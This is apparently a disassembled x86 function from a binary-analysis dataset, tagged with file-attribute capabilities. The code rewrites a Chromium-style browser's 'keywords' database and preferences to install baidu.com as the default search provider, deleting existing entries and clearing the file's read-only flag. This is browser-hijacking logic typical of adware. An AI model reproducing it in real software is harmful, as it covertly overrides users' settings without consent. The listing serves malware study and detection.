Function at 0x4d39a6
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push 0xb5c
mov eax, 0x5891b2
call fcn.004fb9d0
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
or dword [ebp - 0x9ac], 0xffffffff
mov edi, ecx
mov ecx, dword [ebp + 0x10]
push ecx
mov dword [ebp - 0x9bc], ecx
mov ecx, esp
mov dword [ebp - 0x9b0], esp
push eax
call fcn.004324a9
xor ebx, ebx
mov dword [ebp - 4], ebx
or dword [ebp - 4], 0xffffffff
call fcn.004a9c4d
pop ecx
mov dword [ebp - 0x9a8], eax
cmp eax, ebx
jne 0x4d39fd
or eax, 0xffffffff
jmp 0x4d426c
push 0x7ff
lea eax, [ebp - 0x8cf]
push ebx
push eax
mov byte [ebp - 0x8d0], bl
call fcn.004fc1f0
push 0x7f
lea eax, [ebp - 0xcf]
push ebx
push eax
mov byte [ebp - 0xd0], bl
call fcn.004fc1f0
lea eax, [ebp - 0x8d0]
push str.SELECT_id__url__sync_guid_FROM_keywords
push eax
mov dword [ebp - 0x9b8], ebx
call fcn.004a33cc
push ebx
lea eax, [ebp - 0x9b8]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
call fcn.004826e2
add esp, 0x34
cmp eax, ebx
jne 0x4d3fc9
push dword [ebp - 0x9b8]
mov dword [ebp - 0x9c0], 1
mov dword [ebp - 0x9b4], ebx
call fcn.0048b8cf
pop ecx
cmp eax, 0x64
jne 0x4d3b5a
push ebx
push dword [ebp - 0x9b8]
call fcn.00474408
pop ecx
pop ecx
mov dword [ebp - 0x9b0], eax
cmp eax, dword [ebp - 0x9c0]
jle 0x4d3aaf
mov dword [ebp - 0x9c0], eax
push 1
push dword [ebp - 0x9b8]
call fcn.0047445a
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x9c4]
call fcn.00433e48
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x9c4]
call fcn.00433966
push ebx
push str.baidu.com
lea ecx, [ebp - 0x9c4]
call fcn.00432533
test eax, eax
js 0x4d3b29
mov eax, dword [ebp - 0x9b0]
push 2
push dword [ebp - 0x9b8]
mov dword [ebp - 0x9ac], eax
mov dword [ebp - 0x9b4], 1
call fcn.0047445a
push eax
lea eax, [ebp - 0xd0]
push 0x80
push eax
call fcn.005043a1
add esp, 0x14
push dword [ebp - 0x9b8]
call fcn.0048b8cf
pop ecx
mov dword [ebp - 0x9b0], eax
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x9c4]
add ecx, 0xfffffff0
call fcn.004310e3
cmp dword [ebp - 0x9b0], 0x64
je 0x4d3a8d
push dword [ebp - 0x9b8]
call fcn.0048103b
pop ecx
cmp dword [ebp - 0x9b4], ebx
je 0x4d3cac
cmp dword [edi + 0x14], 0x10
jb 0x4d3b7c
mov eax, dword [edi]
jmp 0x4d3b7e
mov eax, edi
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.004fde50
pop ecx
pop ecx
test eax, eax
jne 0x4d3c80
cmp dword [edi + 0x14], 0x10
jb 0x4d3b9f
mov eax, dword [edi]
jmp 0x4d3ba1
mov eax, edi
push eax
lea eax, [ebp - 0x8d0]
push str.select_count___from_keywords_where_sync_guid_s
push eax
call fcn.004a33cc
lea eax, [ebp - 0x9b4]
push eax
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
mov dword [ebp - 0x9b4], ebx
call fcn.004a1be7
add esp, 0x18
test al, al
je 0x4d3c1b
cmp dword [ebp - 0x9b4], 1
jle 0x4d3c1b
cmp dword [edi + 0x14], 0x10
jb 0x4d3bec
mov eax, dword [edi]
jmp 0x4d3bee
mov eax, edi
push dword [ebp - 0x9ac]
push eax
lea eax, [ebp - 0x8d0]
push str.delete_from_keywords_where_sync_guid_s_and_id___d
push eax
call fcn.004a33cc
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
call fcn.004a1b04
add esp, 0x18
mov eax, dword [ebp - 0x9bc]
push dword [eax]
lea ecx, [ebp - 0x9b0]
call fcn.004b40f5
mov dword [ebp - 4], 3
push dword [ebp - 0x9ac]
mov ecx, eax
call fcn.004a6aeb
push eax
lea eax, [ebp - 0x8d0]
push str.UPDATE_keywords_SET_url_s_WHERE_id_d
push eax
call fcn.004a33cc
add esp, 0x10
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x9b0]
add ecx, 0xfffffff0
call fcn.004310e3
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
call fcn.004a1b04
jmp 0x4d3df9
push dword [ebp - 0x9ac]
lea eax, [ebp - 0x8d0]
push str.DELETE_FROM_keywords_WHERE_id_d
push eax
call fcn.004a33cc
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
call fcn.004a1b04
add esp, 0x14
cmp dword [edi + 0x14], 0x10
jb 0x4d3cb6
mov eax, dword [edi]
jmp 0x4d3cb8
mov eax, edi
push eax
lea eax, [ebp - 0x8d0]
push str.select_count___from_keywords_where_sync_guid_s
push eax
call fcn.004a33cc
lea eax, [ebp - 0x9b4]
push eax
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
mov dword [ebp - 0x9b4], ebx
call fcn.004a1be7
add esp, 0x18
test al, al
je 0x4d3d2c
cmp dword [ebp - 0x9b4], 1
jl 0x4d3d2c
cmp dword [edi + 0x14], 0x10
jb 0x4d3d03
mov eax, dword [edi]
jmp 0x4d3d05
mov eax, edi
push eax
lea eax, [ebp - 0x8d0]
push str.delete_from_keywords_where_sync_guid_s
push eax
call fcn.004a33cc
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
call fcn.004a1b04
add esp, 0x14
push 0x3f
lea eax, [ebp - 0x4f]
push ebx
push eax
mov byte [ebp - 0x50], bl
call fcn.004fc1f0
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push 0x5a7bf8
push ebx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
push ebx
push eax
lea eax, [ebp - 0x50]
push eax
push 0xffffffffffffffff
push 0x5a7bf8
push ebx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 0x9bc]
push dword [eax]
lea ecx, [ebp - 0x9b0]
call fcn.004b40f5
mov dword [ebp - 4], 5
cmp dword [edi + 0x14], 0x10
jb 0x4d3d93
mov edx, dword [edi]
jmp 0x4d3d95
mov edx, edi
mov ecx, dword [ebp - 0x9c0]
inc ecx
mov dword [ebp - 0x9bc], ecx
push edx
mov ecx, eax
call fcn.004a6aeb
push eax
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x9bc]
lea eax, [ebp - 0x8d0]
push str.INSERT_INTO_keywords__id__short_name__keyword__favicon_url__url__show_in_default_list__safe_for_autoreplace___t_t_t_t_t_t_t___originating_url__date_created__usage_count__input_encodings__suggest_url__prepopulate_id___t_t_t_t_t_t_t___created_by_policy__instant_url__last_modified__sync_guid__VALUES___d___s_baidu.com__http:__www.baidu.com_favicon.ico___t_t_t_t_t_t_t____s__1__0____0__0__UTF_8____0__0____0___s_
push eax
call fcn.004a33cc
add esp, 0x18
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x9b0]
add ecx, 0xfffffff0
call fcn.004310e3
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
call fcn.004a1b04
mov eax, dword [ebp - 0x9bc]
mov dword [ebp - 0x9ac], eax
pop ecx
pop ecx
push dword [ebp - 0x9ac]
lea eax, [ebp - 0x8d0]
push str.UPDATE_keywords_SET_prepopulate_id0_WHERE_id_d
push eax
call fcn.004a33cc
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
call fcn.004a1b04
push dword [ebp - 0x9ac]
lea eax, [ebp - 0x8d0]
push str.UPDATE_keywords_SET_input_encodingsUTF_8_WHERE_id_d
push eax
call fcn.004a33cc
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
call fcn.004a1b04
push dword [ebp - 0x9ac]
lea eax, [ebp - 0x8d0]
push str.UPDATE_keywords_SET_alternate_urls___WHERE_id_d
push eax
call fcn.004a33cc
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
call fcn.004a1b04
push dword [ebp - 0x9ac]
lea eax, [ebp - 0x8d0]
push str.UPDATE_keywords_SET_search_terms_replacement_key_WHERE_id_d
push eax
call fcn.004a33cc
add esp, 0x48
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
call fcn.004a1b04
push dword [ebp - 0x9ac]
lea eax, [ebp - 0x8d0]
push str.UPDATE_keywords_SET_image_url_WHERE_id_d
push eax
call fcn.004a33cc
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
call fcn.004a1b04
push dword [ebp - 0x9ac]
lea eax, [ebp - 0x8d0]
push str.UPDATE_keywords_SET_search_url_post_params_WHERE_id_d
push eax
call fcn.004a33cc
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
call fcn.004a1b04
push dword [ebp - 0x9ac]
lea eax, [ebp - 0x8d0]
push str.UPDATE_keywords_SET_suggest_url_post_params_WHERE_id_d
push eax
call fcn.004a33cc
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
call fcn.004a1b04
add esp, 0x44
push dword [ebp - 0x9ac]
lea eax, [ebp - 0x8d0]
push str.UPDATE_keywords_SET_instant_url_post_params_WHERE_id_d
push eax
call fcn.004a33cc
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
call fcn.004a1b04
push dword [ebp - 0x9ac]
lea eax, [ebp - 0x8d0]
push str.UPDATE_keywords_SET_image_url_post_params_WHERE_id_d
push eax
call fcn.004a33cc
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
call fcn.004a1b04
push dword [ebp - 0x9ac]
lea eax, [ebp - 0x8d0]
push str.UPDATE_keywords_SET_new_tab_url_WHERE_id_d
push eax
call fcn.004a33cc
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
call fcn.004a1b04
push dword [ebp - 0x9ac]
lea eax, [ebp - 0x8d0]
push str.UPDATE_meta_SET_value_d_WHERE_keyDefault_Search_Provider_ID
push eax
call fcn.004a33cc
add esp, 0x48
lea eax, [ebp - 0x8d0]
push eax
push dword [ebp - 0x9a8]
call fcn.004a1b04
pop ecx
pop ecx
push dword [ebp - 0x9a8]
call fcn.00482cf3
pop ecx
lea ecx, [ebp - 0xa10]
call fcn.00432a3a
mov dword [ebp - 4], 8
push ecx
mov ecx, esp
mov dword [ebp - 0x9b0], esp
push esi
call fcn.004324a9
mov byte [ebp - 4], 9
lea eax, [ebp - 0x9c8]
push eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xa10]
call fcn.0049bc99
mov byte [ebp - 4], 0xa
push ebx
lea ecx, [ebp - 0x9e8]
call fcn.00445a94
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x9e8]
push eax
mov ecx, edi
call fcn.004d00f2
lea eax, [ebp - 0x9e8]
push eax
push dword [ebp - 0x9ac]
lea ecx, [ebp - 0x9b0]
push dword [ebp - 0x9c8]
call fcn.004b40f5
mov byte [ebp - 4], 0xc
mov ecx, eax
call fcn.004a6aeb
push ecx
mov ecx, esp
mov dword [ebp - 0x9bc], esp
push eax
call fcn.00433e48
mov byte [ebp - 4], 0xd
mov byte [ebp - 4], 0xc
mov ecx, edi
call fcn.004c9e1a
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x9b0]
add ecx, 0xfffffff0
call fcn.004310e3
mov eax, dword [esi]
push 1
push 0x40
push 1
push eax
lea ecx, [ebp - 0xb68]
call fcn.004c47ab
mov byte [ebp - 4], 0xf
push ebx
lea ecx, [ebp - 0x9d8]
call fcn.00445a94
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x9a4]
call fcn.00442485
mov byte [ebp - 4], 0x11
push 1
lea eax, [ebp - 0x9d8]
push eax
lea eax, [ebp - 0xb68]
push eax
lea ecx, [ebp - 0x9a4]
call fcn.004433c7
lea ecx, [ebp - 0xb68]
call fcn.004b9a8c
push edi
lea ecx, [ebp - 0x9f8]
call fcn.0044488a
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x9f8]
push eax
push str.default_search_provider
lea ecx, [ebp - 0x9d8]
call fcn.0044738e
mov ecx, eax
call fcn.00446c88
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x9f8]
call fcn.00445ba5
lea eax, [ebp - 0x9e8]
push eax
push str.template_url_data
push str.default_search_provider_data
lea ecx, [ebp - 0x9d8]
call fcn.0044738e
mov ecx, eax
call fcn.0044738e
mov ecx, eax
call fcn.00444910
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4d416d
test al, 1
je 0x4d416d
mov ecx, dword [esi]
and eax, 0xfffffffe
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x9b0], esp
push 0x59c030
call fcn.0040f0f0
mov byte [ebp - 4], 0x13
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x924]
call fcn.0044b070
mov byte [ebp - 4], 0x14
mov esi, dword [esi]
push 1
push 0x40
push 2
push esi
lea ecx, [ebp - 0xab8]
call fcn.004b9cda
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0x9d8]
push eax
lea eax, [ebp - 0xab8]
push eax
lea ecx, [ebp - 0x924]
call fcn.0044bd54
lea ecx, [ebp - 0xab8]
call fcn.004b9dca
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0xa58]
call fcn.004b9d87
lea ecx, [ebp - 0xa58]
call fcn.004475fc
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x924]
call fcn.0044aca8
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x9a4]
call fcn.0044283a
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x9d8]
call fcn.00445ba5
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xb00]
call fcn.004c4858
lea ecx, [ebp - 0xb00]
call fcn.004475fc
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x9e8]
call fcn.00445ba5
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x9c8]
add ecx, 0xfffffff0
call fcn.004310e3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa10]
call fcn.00432a92
mov eax, dword [ebp - 0x9ac]
call fcn.004fba53
ret 0xc